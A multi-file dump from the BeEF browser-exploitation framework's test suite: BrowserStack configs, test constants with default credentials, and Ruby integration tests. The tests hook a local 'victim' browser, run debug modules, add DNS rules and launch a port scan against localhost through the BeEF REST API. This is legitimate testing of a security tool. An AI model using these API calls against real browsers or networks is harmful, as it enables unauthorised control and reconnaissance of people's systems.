spec/support/browserstack/osx/elcapitan/elcapitan_safari_9-1.config.yml ================================================ server: "hub-cloud.browserstack.com" common_caps: "build": "OSX El Capitan Safari 9.1" "project": "BeEF" "browserstack.local": true "browserstack.video": false browser_caps: - "browser": "safari" "browser_version": "9.1" "os": "osx" "os_version": "el capitan" "browserstack.selenium_version": "3.5.2" ================================================ FILE: spec/support/browserstack/osx/snowleopard/snowleopard_chrome_14.config.yml ================================================ server: "hub-cloud.browserstack.com" common_caps: "build": "OSX Snow Leopard Chrome 14" "project": "BeEF" "browserstack.local": true "browserstack.video": false browser_caps: - "browser": "chrome" "browser_version": "14.0" "os": "osx" "os_version": "Snow Leopard" ================================================ FILE: spec/support/browserstack/osx/snowleopard/snowleopard_chrome_35.config.yml ================================================ server: "hub-cloud.browserstack.com" common_caps: "build": "OSX Snow Leopard Chrome 35" "project": "BeEF" "browserstack.local": true "browserstack.video": false browser_caps: - "browser": "chrome" "browser_version": "35.0" "os": "osx" "os_version": "snow leopard" ================================================ FILE: spec/support/browserstack/osx/snowleopard/snowleopard_chrome_49.config.yml ================================================ server: "hub-cloud.browserstack.com" common_caps: "build": "OSX Snow Leopard Chrome 49" "project": "BeEF" "browserstack.local": true "browserstack.video": false browser_caps: - "browser": "chrome" "browser_version": "49.0" "os": "osx" "os_version": "snow leopard" ================================================ FILE: spec/support/browserstack/osx/snowleopard/snowleopard_firefox_38esr.config.yml ================================================ server: "hub-cloud.browserstack.com" common_caps: "build": "OSX Snow Leopard Firefox 38 ESR" "project": "BeEF" "browserstack.local": true "browserstack.video": false browser_caps: - "browser": "firefox" "browser_version": "38.0" "os": "osx" "os_version": "snow leopard" ================================================ FILE: spec/support/browserstack/osx/snowleopard/snowleopard_firefox_42.config.yml ================================================ server: "hub-cloud.browserstack.com" common_caps: "build": "OSX Snow Leopard Firefox 42" "project": "BeEF" "browserstack.local": true "browserstack.video": false browser_caps: - "browser": "firefox" "browser_version": "42.0" "os": "osx" "os_version": "snow leopard" ================================================ FILE: spec/support/browserstack/osx/snowleopard/snowleopard_firefox_7.config.yml ================================================ server: "hub-cloud.browserstack.com" common_caps: "build": "OSX Snow Leopard Firefox 7" "project": "BeEF" "browserstack.local": true "browserstack.video": false browser_caps: - "browser": "firefox" "browser_version": "7.0" "os": "osx" "os_version": "snow leopard" ================================================ FILE: spec/support/browserstack/osx/snowleopard/snowleopard_safari_5-1.config.yml ================================================ server: "hub-cloud.browserstack.com" common_caps: "build": "OSX Snow Leopard Safari 5.1" "project": "BeEF" "browserstack.local": true "browserstack.video": false browser_caps: - "browser": "safari" "browser_version": "5.1" "os": "osx" "os_version": "snow leopard" ================================================ FILE: spec/support/browserstack/windows/win10/win10_chrome_37.config.yml ================================================ server: "hub-cloud.browserstack.com" common_caps: "build": "Windows 10 Chrome 37" "project": "BeEF" "browserstack.local": true "browserstack.video": false browser_caps: - "browser": "chrome" "browser_version": "37.0" "os": "windows" "os_version": "10" ================================================ FILE: spec/support/browserstack/windows/win10/win10_chrome_59.config.yml ================================================ server: "hub-cloud.browserstack.com" common_caps: "build": "Windows 10 Chrome 59" "project": "BeEF" "browserstack.local": true "browserstack.video": false browser_caps: - "browser": "chrome" "browser_version": "59.0" "os": "windows" "os_version": "10" ================================================ FILE: spec/support/browserstack/windows/win10/win10_chrome_81.config.yml ================================================ server: "hub-cloud.browserstack.com" common_caps: "build": "Windows 10 Chrome 81" "project": "BeEF" "browserstack.local": true "browserstack.video": false browser_caps: - "browser": "chrome" "browser_version": "81.0" "os": "windows" "os_version": "10" ================================================ FILE: spec/support/browserstack/windows/win10/win10_edge_81.config.yml ================================================ server: "hub-cloud.browserstack.com" common_caps: "build": "Windows 10 Edge 81" "project": "BeEF" "browserstack.local": true "browserstack.video": false browser_caps: - "browser": "edge" "browser_version": "81.0" "os": "windows" "os_version": "10" ================================================ FILE: spec/support/browserstack/windows/win10/win10_firefox_32.config.yml ================================================ server: "hub-cloud.browserstack.com" common_caps: "build": "Windows 10 Firefox 32" "project": "BeEF" "browserstack.local": true "browserstack.video": false browser_caps: - "browser": "firefox" "browser_version": "32.0" "os": "windows" "os_version": "10" ================================================ FILE: spec/support/browserstack/windows/win10/win10_firefox_68esr.config.yml ================================================ server: "hub-cloud.browserstack.com" common_caps: "build": "Windows 10 Firefox 68 ESR" "project": "BeEF" "browserstack.local": true "browserstack.video": false browser_caps: - "browser": "firefox" "browser_version": "68.0" "os": "windows" "os_version": "10" ================================================ FILE: spec/support/browserstack/windows/win10/win10_firefox_75.config.yml ================================================ server: "hub-cloud.browserstack.com" common_caps: "build": "Windows 10 Firefox 75" "project": "BeEF" "browserstack.local": true "browserstack.video": false browser_caps: - "browser": "firefox" "browser_version": "75.0" "os": "windows" "os_version": "10" ================================================ FILE: spec/support/browserstack/windows/win10/win10_ie_11.config.yml ================================================ server: "hub-cloud.browserstack.com" common_caps: "build": "Windows 10 IE 11" "project": "BeEF" "browserstack.local": true "browserstack.video": false browser_caps: - "browser": "internet explorer" "browser_version": "11.0" "os": "windows" "os_version": "10" ================================================ FILE: spec/support/browserstack/windows/win8/win8_chrome_22.config.yml ================================================ server: "hub-cloud.browserstack.com" common_caps: "build": "Windows 8 Chrome 22" "project": "BeEF" "browserstack.local": true "browserstack.video": false browser_caps: - "browser": "chrome" "browser_version": "22.0" "os": "windows" "os_version": "8" ================================================ FILE: spec/support/browserstack/windows/win8/win8_chrome_81.config.yml ================================================ server: "hub-cloud.browserstack.com" common_caps: "build": "Windows 8 Chrome 81" "project": "BeEF" "browserstack.local": true "browserstack.video": false browser_caps: - "browser": "chrome" "browser_version": "81.0" "os": "windows" "os_version": "8" ================================================ FILE: spec/support/browserstack/windows/win8/win8_edge_81.config.yml ================================================ server: "hub-cloud.browserstack.com" common_caps: "build": "Windows 8 Edge 81" "project": "BeEF" "browserstack.local": true "browserstack.video": false browser_caps: - "browser": "edge" "browser_version": "81.0" "os": "windows" "os_version": "8" ================================================ FILE: spec/support/browserstack/windows/win8/win8_firefox_32.config.yml ================================================ server: "hub-cloud.browserstack.com" common_caps: "build": "Windows 8 Firefox 32" "project": "BeEF" "browserstack.local": true "browserstack.video": false browser_caps: - "browser": "firefox" "browser_version": "32.0" "os": "windows" "os_version": "8" ================================================ FILE: spec/support/browserstack/windows/win8/win8_firefox_75.config.yml ================================================ server: "hub-cloud.browserstack.com" common_caps: "build": "Windows 8 Firefox 75" "project": "BeEF" "browserstack.local": true "browserstack.video": false browser_caps: - "browser": "firefox" "browser_version": "75.0" "os": "windows" "os_version": "8" ================================================ FILE: spec/support/browserstack/windows/win8/win8_ie_10.config.yml ================================================ server: "hub-cloud.browserstack.com" common_caps: "build": "Windows 8 IE 10" "project": "BeEF" "browserstack.local": true "browserstack.video": false browser_caps: - "browser": "internet explorer" "browser_version": "10.0" "os": "windows" "os_version": "8" ================================================ FILE: spec/support/browserstack/windows/xp/xp_chrome_14.config.yml ================================================ server: "hub-cloud.browserstack.com" common_caps: "build": "Windows XP Chrome 14" "project": "BeEF" "browserstack.local": true "browserstack.video": false browser_caps: - "browser": "chrome" "browser_version": "14.0" "os": "windows" "os_version": "xp" ================================================ FILE: spec/support/browserstack/windows/xp/xp_chrome_28.config.yml ================================================ server: "hub-cloud.browserstack.com" common_caps: "build": "Windows XP Chrome 28" "project": "BeEF" "browserstack.local": true "browserstack.video": false browser_caps: - "browser": "chrome" "browser_version": "28.0" "os": "windows" "os_version": "xp" ================================================ FILE: spec/support/browserstack/windows/xp/xp_chrome_43.config.yml ================================================ server: "hub-cloud.browserstack.com" common_caps: "build": "Windows XP Chrome 43" "project": "BeEF" "browserstack.local": true "browserstack.video": false browser_caps: - "browser": "chrome" "browser_version": "43.0" "os": "windows" "os_version": "xp" ================================================ FILE: spec/support/browserstack/windows/xp/xp_firefox_16.config.yml ================================================ server: "hub-cloud.browserstack.com" common_caps: "build": "Windows XP Firefox 16" "project": "BeEF" "browserstack.local": true "browserstack.video": false browser_caps: - "browser": "firefox" "browser_version": "16.0" "os": "windows" "os_version": "xp" ================================================ FILE: spec/support/browserstack/windows/xp/xp_firefox_26.config.yml ================================================ server: "hub-cloud.browserstack.com" common_caps: "build": "Windows XP Firefox 26" "project": "BeEF" "browserstack.local": true "browserstack.video": false browser_caps: - "browser": "firefox" "browser_version": "26.0" "os": "windows" "os_version": "xp" ================================================ FILE: spec/support/browserstack/windows/xp/xp_firefox_45.config.yml ================================================ server: "hub-cloud.browserstack.com" common_caps: "build": "Windows XP Firefox 45" "project": "BeEF" "browserstack.local": true "browserstack.video": false browser_caps: - "browser": "firefox" "browser_version": "45.0" "os": "windows" "os_version": "xp" ================================================ FILE: spec/support/browserstack/windows/xp/xp_ie_7.config.yml ================================================ server: "hub-cloud.browserstack.com" common_caps: "build": "Windows XP IE 7" "project": "BeEF" "browserstack.local": true "browserstack.video": false browser_caps: - "browser": "internet explorer" "browser_version": "7.0" "os": "windows" "os_version": "xp" ================================================ FILE: spec/support/constants.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # BEEF_TEST_DIR = '/tmp/beef-test/'.freeze # General constants ATTACK_DOMAIN = 'localhost'.freeze VICTIM_DOMAIN = '127.0.0.1'.freeze ATTACK_URL = 'http://' + ATTACK_DOMAIN + ':3000/ui/panel' VICTIM_URL = 'http://' + VICTIM_DOMAIN + ':3000/demos/basic.html' # Credentials BEEF_USER = ENV['TEST_BEEF_USER'] || 'beef' BEEF_PASSWD = ENV['TEST_BEEF_PASS'] || 'beef' # RESTful API root endpoints RESTAPI_HOOKS = 'http://' + ATTACK_DOMAIN + ':3000/api/hooks' RESTAPI_LOGS = 'http://' + ATTACK_DOMAIN + ':3000/api/logs' RESTAPI_MODULES = 'http://' + ATTACK_DOMAIN + ':3000/api/modules' RESTAPI_NETWORK = 'http://' + ATTACK_DOMAIN + ':3000/api/network' RESTAPI_PROXY = 'http://' + ATTACK_DOMAIN + ':3000/api/proxy' RESTAPI_DNS = 'http://' + ATTACK_DOMAIN + ':3000/api/dns' RESTAPI_SENG = 'http://' + ATTACK_DOMAIN + ':3000/api/seng' RESTAPI_ADMIN = 'http://' + ATTACK_DOMAIN + ':3000/api/admin' RESTAPI_WEBRTC = 'http://' + ATTACK_DOMAIN + ':3000/api/webrtc' RESTAPI_REQUESTER = 'http://' + ATTACK_DOMAIN + ':3000/api/requester' # Other PAGE_LOAD_TIMEOUT = 5 SERVER_START_TIMEOUT = 5 BROWSER_HOOKING_TIMEOUT = 10 ================================================ FILE: spec/support/simple_rest_client.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # # less noisy verson of BeeRestAPI found in tools. class BeefRestClient def initialize(proto, host, port, user, pass) @user = user @pass = pass @url = "#{proto}://#{host}:#{port}/api/" @token = nil end def is_pass?(passwd) @pass == passwd end def auth response = RestClient.post "#{@url}admin/login", { 'username': "#{@user}", 'password': "#{@pass}" }.to_json, content_type: :json, accept: :json result = JSON.parse(response.body) @token = result['token'] { success: result['success'], payload: result, token: @token } rescue StandardError => e { success: false, payload: e.message } end def version return { success: false, payload: 'no token' } if @token.nil? begin response = RestClient.get "#{@url}server/version", { params: { token: @token } } result = JSON.parse(response.body) { success: result['success'], payload: result } rescue StandardError => e print_error "Could not retrieve BeEF version: #{e.message}" { success: false, payload: e.message } end end end ================================================ FILE: spec/support/ui_support.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # require 'rspec' require 'rest-client' require 'spec/support/constants.rb' def start_beef_and_hook_browser() reset_beef_db pid = start_beef_server_and_wait begin beef_session = BeefTest.login hooked_browser = BeefTest.new_victim expect(hooked_browser).not_to be_nil expect(hooked_browser).to be_a(Capybara::Session) expect(hooked_browser).to have_content('BeEF', wait: PAGE_LOAD_TIMEOUT) expect(beef_session).not_to be_nil expect(beef_session).to be_a(Capybara::Session) expect(beef_session).to have_content('Hooked Browsers', wait: PAGE_LOAD_TIMEOUT) navigate_to_hooked_browser(beef_session) expect(beef_session).to have_content('Commands', wait: PAGE_LOAD_TIMEOUT) beef_session.click_on('Commands') return pid, beef_session, hooked_browser rescue => e # If setup fails, cleanup the server before re-raising stop_beef_server(pid) raise e end end def stop_beef_and_unhook_browser(pid, beef_session, hooked_browser) stop_beef_server(pid) beef_session.driver.browser.close if beef_session hooked_browser.driver.browser.close if hooked_browser end def navigate_to_hooked_browser(session, hooked_browser_text = nil) expect(session).to have_content('Hooked Browsers', wait: PAGE_LOAD_TIMEOUT) hooked_browser_text = '127.0.0.1' if hooked_browser_text.nil? expect(session).to have_content(hooked_browser_text, wait: BROWSER_HOOKING_TIMEOUT) # click on the hooked browser in the leaf session.all('a', text: hooked_browser_text)[1].click expect(session).to have_content('Commands', wait: PAGE_LOAD_TIMEOUT) end def navigate_to_category(session, category_name = nil) expect(category_name).not_to be_nil expect(category_name).to be_a(String) navigate_to_hooked_browser unless session.has_content?('Current Browser') # ensure the command module tree is visible session.click_on('Commands') expect(session).to have_content(category_name, wait: PAGE_LOAD_TIMEOUT) session.first(:link_or_button, category_name + " ").click end def expand_category_tree(session, category, module_name = nil) if category.is_a?(Array) category.each do |category_name| # find the category element and scroll to it session.all('div', text: category_name).each do |element| begin element_text = element.text next unless element_text.start_with?(category_name) match_data = element_text.match(/\A([\w\s]+)\s\((\d+)\)\z/) next unless match_data # scroll to the element session.scroll_to(element) rescue Selenium::WebDriver::Error::StaleElementReferenceError => e puts "StaleElementReferenceError: #{element_text}" puts e.message next end end expect(session).to have_content(category_name, wait: PAGE_LOAD_TIMEOUT) navigate_to_category(session, category_name) unless session.has_content?(module_name) end else navigate_to_category(session, category) unless session.has_content?(module_name) expect(session).to have_content(category, wait: PAGE_LOAD_TIMEOUT) end expect(session).to have_content(module_name, wait: PAGE_LOAD_TIMEOUT) end def collapse_category_tree(session, category) if category.is_a?(Array) category.reverse.each do |category_name| # Collapse the sub-folder session.scroll_to(category_name) session.first(:link_or_button, category_name + " ").click end else session.scroll_to(category) session.first(:link_or_button, category + " ").click end end def click_on_module(session, category, module_name) # expand the category tree to make the module visible expand_category_tree(session, category, module_name) # click on the module in the expanded tree session.scroll_to(module_name) expect(session).to have_content(module_name, wait: PAGE_LOAD_TIMEOUT) modules = session.all(:link_or_button, module_name) modules[0].click end ================================================ FILE: test/integration/tc_debug_modules.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # require 'test/unit' require 'rest-client' require 'json' require '../common/test_constants' require '../common/beef_test' class TC_DebugModules < Test::Unit::TestCase @@token = nil @@hb_session = nil @@mod_debug_long_string = nil @@mod_debug_ascii_chars = nil @@mod_debug_test_network = nil # NOTE: Tests within the same test class are called in the order they are defined. # NOTE: However, test classes are run in alphabetical order by classname. # That's why we use the prefix x_N_y, with N being the order of execution. # # Test RESTful API authentication with default credentials, returns the API token to be used later. def test_1_restful_auth response = RestClient.post "#{RESTAPI_ADMIN}/login", { 'username' => "#{BEEF_USER}", 'password' => "#{BEEF_PASSWD}"}.to_json, :content_type => :json, :accept => :json assert_equal 200, response.code assert_not_nil response.body result = JSON.parse(response.body) success = result['success'] @@token = result['token'] assert(success) end # Test RESTful API hooks handler hooking a victim browser, and then retrieving his BeEF session def test_2_restful_hooks BeefTest.new_victim sleep 5.0 response = RestClient.get "#{RESTAPI_HOOKS}", {:params => {:token => @@token}} assert_equal 200, response.code assert_not_nil response.body result = JSON.parse(response.body) @@hb_session = result["hooked-browsers"]["online"]["0"]["session"] assert_not_nil @@hb_session end # Test RESTful API modules handler, retrieving the IDs of the 3 debug modules currently in the framework def test_3_restful_modules response = RestClient.get "#{RESTAPI_MODULES}", {:params => {:token => @@token}} assert_equal 200, response.code assert_not_nil response.body result = JSON.parse(response.body) result.each do |mod| case mod[1]["class"] when "Test_return_long_string" @@mod_debug_long_string = mod[1]["id"] when "Test_return_ascii_chars" @@mod_debug_ascii_chars = mod[1]["id"] when "Test_network_request" @@mod_debug_test_network = mod[1]["id"] end end assert_not_nil @@mod_debug_long_string assert_not_nil @@mod_debug_ascii_chars assert_not_nil @@mod_debug_test_network end # ## Test debug module "Test_return_long_string" using the RESTful API def test_return_long_string repeat_string = "BeEF" repeat_count = 20 response = RestClient.post "#{RESTAPI_MODULES}/#{@@hb_session}/#{@@mod_debug_long_string}?token=#{@@token}", { 'repeat_string' => repeat_string, 'repeat' => repeat_count}.to_json, :content_type => :json, :accept => :json assert_equal 200, response.code assert_not_nil response.body result = JSON.parse(response.body) success = result['success'] assert success cmd_id = result['command_id'] count = 0 response = RestClient.get "#{RESTAPI_MODULES}/#{@@hb_session}/#{@@mod_debug_long_string}/#{cmd_id}?token=#{@@token}" #TODO if the response is empty, the body size is 2, basically an empty Hash. # don't know why empty?, nil and other checks are not working. while(response.body.size <= 2 && count < 10) response = RestClient.get "#{RESTAPI_MODULES}/#{@@hb_session}/#{@@mod_debug_long_string}/#{cmd_id}?token=#{@@token}" sleep 2 count += 1 end assert_equal 200, response.code assert_not_nil response.body result = JSON.parse(response.body) data = JSON.parse(result['0']['data'])['data'] assert_not_nil data assert_equal (repeat_string * repeat_count),data end # ## Test debug module "Test_return_ascii_chars" using the RESTful API def test_return_ascii_chars response = RestClient.post "#{RESTAPI_MODULES}/#{@@hb_session}/#{@@mod_debug_ascii_chars}?token=#{@@token}", {}.to_json, # module does not expect any input :content_type => :json, :accept => :json assert_equal 200, response.code assert_not_nil response.body result = JSON.parse(response.body) success = result['success'] assert success cmd_id = result['command_id'] count = 0 response = RestClient.get "#{RESTAPI_MODULES}/#{@@hb_session}/#{@@mod_debug_ascii_chars}/#{cmd_id}?token=#{@@token}" #TODO if the response is empty, the body size is 2, basically an empty Hash. # don't know why empty?, nil and other checks are not working. while(response.body.size <= 2 && count < 10) response = RestClient.get "#{RESTAPI_MODULES}/#{@@hb_session}/#{@@mod_debug_ascii_chars}/#{cmd_id}?token=#{@@token}" sleep 2 count += 1 end assert_equal 200, response.code assert_not_nil response.body result = JSON.parse(response.body) data = JSON.parse(result['0']['data'])['data'] assert_not_nil data ascii_chars = "" (32..127).each do |i| ascii_chars << i.chr end assert_equal ascii_chars,data end # Test debug module "Test_network_request" using the RESTful API def test_return_network_request # Test same-origin request (response code and content of secret_page.html) response = RestClient.post "#{RESTAPI_MODULES}/#{@@hb_session}/#{@@mod_debug_test_network}?token=#{@@token}", #override only a few parameters, the other ones will have default values from modules's module.rb definition {"domain" => ATTACK_DOMAIN, "port" => "3000", "path" => "/demos/secret_page.html"}.to_json, :content_type => :json, :accept => :json assert_equal 200, response.code assert_not_nil response.body result = JSON.parse(response.body) success = result['success'] assert success cmd_id = result['command_id'] count = 0 response = RestClient.get "#{RESTAPI_MODULES}/#{@@hb_session}/#{@@mod_debug_test_network}/#{cmd_id}?token=#{@@token}" #TODO if the response is empty, the body size is 2, basically an empty Hash. # don't know why empty?, nil and other checks are not working. while(response.body.size <= 2 && count < 10) response = RestClient.get "#{RESTAPI_MODULES}/#{@@hb_session}/#{@@mod_debug_test_network}/#{cmd_id}?token=#{@@token}" sleep 2 count += 1 end assert_equal 200, response.code assert_not_nil response.body result = JSON.parse(response.body) data = JSON.parse(result['0']['data'])['data'] assert_not_nil data assert_equal 200, JSON.parse(data)["status_code"] assert JSON.parse(data)["port_status"].include?("open") end end ================================================ FILE: test/integration/tc_dns_rest.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # require 'test/unit' require 'rest-client' require 'json' require '../common/test_constants' class TC_DnsRest < Test::Unit::TestCase class << self def startup json = {:username => BEEF_USER, :password => BEEF_PASSWD}.to_json @@headers = {:content_type => :json, :accept => :json} response = RestClient.post("#{RESTAPI_ADMIN}/login", json, @@headers) result = JSON.parse(response.body) @@token = result['token'] $root_dir = '../../' $:.unshift($root_dir) require 'core/loader' BeEF::Core::Configuration.new(File.join($root_dir, 'config.yaml')) BeEF::Core::Configuration.instance.load_extensions_config @@config = BeEF::Core::Configuration.instance end def shutdown $root_dir = nil end end # Tests POST /api/dns/rule handler with valid input def test_1_add_rule_good pattern = 'foo.bar' resource = 'A' dns_response = ['1.2.3.4'] json = {:pattern => pattern, :resource => resource, :response => dns_response}.to_json rest_response = RestClient.post("#{RESTAPI_DNS}/rule?token=#{@@token}", json, @@headers) check_rest_response(rest_response) result = JSON.parse(rest_response.body) first_id = result['id'] rest_response = RestClient.post("#{RESTAPI_DNS}/rule?token=#{@@token}", json, @@headers) # Verify that adding an existing rule returns its id check_rest_response(rest_response) result = JSON.parse(rest_response.body) second_id = result['id'] assert_equal(first_id, second_id) end # Tests POST /api/dns/rule handler with invalid input def test_2_add_rule_bad pattern = '' resource = 'A' dns_response = ['1.1.1.1'] hash = {:pattern => pattern, :resource => resource, :response => dns_response} # Test that an empty "pattern" key returns 400 assert_raise RestClient::BadRequest do rest_response = RestClient.post("#{RESTAPI_DNS}/rule?token=#{@@token}", hash.to_json, @@headers) end hash['pattern'] = 'foo.bar.baz' hash['resource'] = '' # Test that an empty "resource" key returns 400 assert_raise RestClient::BadRequest do rest_response = RestClient.post("#{RESTAPI_DNS}/rule?token=#{@@token}", hash.to_json, @@headers) end hash['resource'] = 'A' hash['response'] = [] # Test that an empty "response" key returns 400 assert_raise RestClient::BadRequest do rest_response = RestClient.post("#{RESTAPI_DNS}/rule?token=#{@@token}", hash.to_json, @@headers) end hash['response'] = 42 # Test that a non-array "response" key returns 400 assert_raise RestClient::BadRequest do rest_response = RestClient.post("#{RESTAPI_DNS}/rule?token=#{@@token}", hash.to_json, @@headers) end end =begin # Tests POST /api/dns/rule handler with each supported RR type def test_3_add_rule_types pattern = 'be.ef' resource = 'AAAA' response = ['2001:db8:ac10:fe01::'] # Test AAAA type rule = {'pattern' => pattern, 'resource' => resource, 'response' => response} regex = %r{ ^#{rule['pattern']}\.\t+ \d+\t+ IN\t+ #{rule['resource']}\t+ #{rule['response'][0]}$ }x add_rule(rule) check_dns_response(regex, rule['resource'], rule['pattern']) # Test CNAME type rule['resource'] = 'CNAME' rule['response'] = ['fe.eb.'] regex = %r{ ^#{rule['pattern']}\.\t+ \d+\t+ IN\t+ #{rule['resource']}\t+ #{rule['response'][0]}$ }x add_rule(rule) check_dns_response(regex, rule['resource'], rule['pattern']) # Test HINFO type rule['resource'] = 'HINFO' rule['response'] = ['M6800', 'VMS'] regex = %r{ ^#{rule['pattern']}\.\t+ \d+\t+ IN\t+ #{rule['resource']}\t+ "#{rule['response'][0]}"\s+ "#{rule['response'][1]}"$ }x add_rule(rule) check_dns_response(regex, rule['resource'], rule['pattern']) # Test MINFO type rule['resource'] = 'MINFO' rule['response'] = ['rmail.be.ef.', 'email.be.ef.'] regex = %r{ ^#{rule['pattern']}\.\t+ \d+\t+ IN\t+ #{rule['resource']}\t+ #{rule['response'][0]}\s+ #{rule['response'][1]}$ }x add_rule(rule) check_dns_response(regex, rule['resource'], rule['pattern']) # Test MX type rule['resource'] = 'MX' rule['response'] = [10, 'mail.be.ef.'] regex = %r{ ^#{rule['pattern']}\.\t+ \d+\t+ IN\t+ #{rule['resource']}\t+ #{rule['response'][0]}\s+ #{rule['response'][1]}$ }x add_rule(rule) check_dns_response(regex, rule['resource'], rule['pattern']) # Test NS type rule['resource'] = 'NS' rule['response'] = ['ns.be.ef.'] regex = %r{ ^#{rule['pattern']}\.\t+ \d+\t+ IN\t+ #{rule['resource']}\t+ #{rule['response'][0]}$ }x add_rule(rule) check_dns_response(regex, rule['resource'], rule['pattern']) # Test PTR type rule['resource'] = 'PTR' rule['response'] = ['4.3.2.1.in-addr.arpa.'] regex = %r{ ^#{rule['pattern']}\.\t+ \d+\t+ IN\t+ #{rule['resource']}\t+ #{rule['response'][0]}$ }x add_rule(rule) check_dns_response(regex, rule['resource'], rule['pattern']) # Test SOA type rule['resource'] = 'SOA' rule['response'] = [ "ns.#{rule['pattern']}.", "mail.#{rule['pattern']}.", 2012031500, 10800, 3600, 604800, 3600 ] regex = %r{ ^#{rule['pattern']}\.\t+ \d+\t+ IN\t+ #{rule['resource']}\t+ .* }x add_rule(rule) check_dns_response(regex, rule['resource'], rule['pattern']) # Test TXT type rule['resource'] = 'TXT' rule['response'] = ['b33f_is_s0_l33t'] regex = %r{ ^#{rule['pattern']}\.\t+ \d+\t+ IN\t+ #{rule['resource']}\t+ "#{rule['response'][0]}"$ }x add_rule(rule) check_dns_response(regex, rule['resource'], rule['pattern']) # Test WKS type rule['resource'] = 'WKS' rule['response'] = ['9.9.9.9', 6, 0] regex = %r{ ^#{rule['pattern']}\.\t+ \d+\t+ IN\t+ #{rule['resource']}\t+ #{rule['response'][0]}\s 0\s5\s6$ }x add_rule(rule) check_dns_response(regex, rule['resource'], rule['pattern']) # Test that an invalid RR returns 400 rule['resource'] = 'BeEF' assert_raise RestClient::BadRequest do rest_response = RestClient.post("#{RESTAPI_DNS}/rule?token=#{@@token}", rule.to_json, @@headers) end end =begin # Tests GET /api/dns/rule/:id handler with valid input def test_4_get_rule_good pattern = 'wheres.the.beef' resource = 'A' dns_response = ['4.2.4.2'] json = {:pattern => pattern, :resource => resource, :response => dns_response}.to_json rest_response = RestClient.post("#{RESTAPI_DNS}/rule?token=#{@@token}", json, @@headers) check_rest_response(rest_response) result = JSON.parse(rest_response.body) id = result['id'] rest_response = RestClient.get("#{RESTAPI_DNS}/rule/#{id}", :params => {:token => @@token}) assert_not_nil(rest_response.body) assert_equal(200, rest_response.code) result = JSON.parse(rest_response.body) assert_equal(id, result['id']) assert_equal(pattern, result['pattern']) assert_equal(resource, result['resource']) assert_equal(dns_response, result['response']) end # Tests GET /api/dns/rule/:id handler with invalid input def test_5_get_rule_bad id = 42 assert_raise RestClient::ResourceNotFound do response = RestClient.get("#{RESTAPI_DNS}/rule/#{id}", :params => {:token => @@token}) end id = '(*_*)' assert_raise RestClient::BadRequest do RestClient.get("#{RESTAPI_DNS}/rule/#{id}", :params => {:token => @@token}) end end # Tests GET /api/dns/ruleset handler def test_6_get_ruleset rest_response = RestClient.get("#{RESTAPI_DNS}/ruleset", :params => {:token => @@token}) assert_not_nil(rest_response.body) assert_equal(200, rest_response.code) result = JSON.parse(rest_response.body) assert_equal(15, result['count']) result['ruleset'].each do |rule| assert(rule['id']) assert(rule['pattern']) assert(rule['resource']) assert(rule['response'].length != 0) end end =end private # Adds a new DNS rule def add_rule(params) response = RestClient.post("#{RESTAPI_DNS}/rule?token=#{@@token}", params.to_json, @@headers) check_rest_response(response) end # Standard assertions for verifying response from RESTful API def check_rest_response(response) assert_not_nil(response.body) assert_equal(200, response.code) result = JSON.parse(response.body) assert(result['success']) assert(result['id']) end # Compares output of dig command against regex def check_dns_response(regex, type, pattern) address = @@config.get('beef.extension.dns.address') port = @@config.get('beef.extension.dns.port') dig_output = IO.popen(["dig", "@#{address}", "-p", "#{port}", "-t", "#{type}", "#{pattern}"], 'r+').read assert_match(regex, dig_output) end end ================================================ FILE: test/integration/tc_network_rest.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # require 'test/unit' require 'rest-client' require 'json' require '../common/test_constants' class TC_NetworkRest < Test::Unit::TestCase class << self def startup $root_dir = '../../' $:.unshift($root_dir) # login and get api token json = {:username => BEEF_USER, :password => BEEF_PASSWD}.to_json @@headers = {:content_type => :json, :accept => :json} response = RestClient.post("#{RESTAPI_ADMIN}/login", json, @@headers) result = JSON.parse(response.body) @@token = result['token'] # create hooked browser and get session id BeefTest.new_victim sleep 5.0 response = RestClient.get "#{RESTAPI_HOOKS}", {:params => {:token => @@token}} result = JSON.parse(response.body) @@hb_session = result["hooked-browsers"]["online"]["0"]["session"] # Retrieve Port Scanner module command ID response = RestClient.get "#{RESTAPI_MODULES}", {:params => {:token => @@token}} result = JSON.parse(response.body) result.each do |mod| if mod[1]['class'] == 'Port_scanner' @@mod_port_scanner = mod[1]["id"] break end end # Execute the Port Scanner module on the BeEF host to populate NetworkService object # Port Scanner module works only for Chrome and Firefox response = RestClient.post "#{RESTAPI_MODULES}/#{@@hb_session}/#{@@mod_port_scanner}?token=#{@@token}", { 'ipHost' => "#{ATTACK_DOMAIN}", 'ports' => 3000, 'closetimeout' => 1100, 'opentimeout' => 2500, 'delay' => 600, 'debug' => false}.to_json, :content_type => :json, :accept => :json result = JSON.parse(response.body) success = result['success'] @@cmd_id = result['command_id'] sleep 15.0 end def shutdown $root_dir = nil end end # Ensure the Port Scanner module identified the BeEF host def test_port_scanner_results rest_response = RestClient.get "#{RESTAPI_MODULES}/#{@@hb_session}/#{@@mod_port_scanner}/#{@@cmd_id}?token=#{@@token}" check_rest_response(rest_response) result = JSON.parse(rest_response.body) raise "Port Scanner module failed to identify any open ports" unless result.to_s =~ /Port 3000 is OPEN/ end # Tests GET /api/network/hosts handler def test_get_all_hosts rest_response = RestClient.get("#{RESTAPI_NETWORK}/hosts?token=#{@@token}") check_rest_response(rest_response) result = JSON.parse(rest_response.body) assert(result['count']) assert(result['hosts']) assert_not_equal(0, result['count']) end # Tests GET /api/network/hosts/:sessionid handler with valid input def test_get_hosts_valid_session rest_response = nil assert_nothing_raised do rest_response = RestClient.get("#{RESTAPI_NETWORK}/hosts/#{@@hb_session}", :params => {:token => @@token}) end 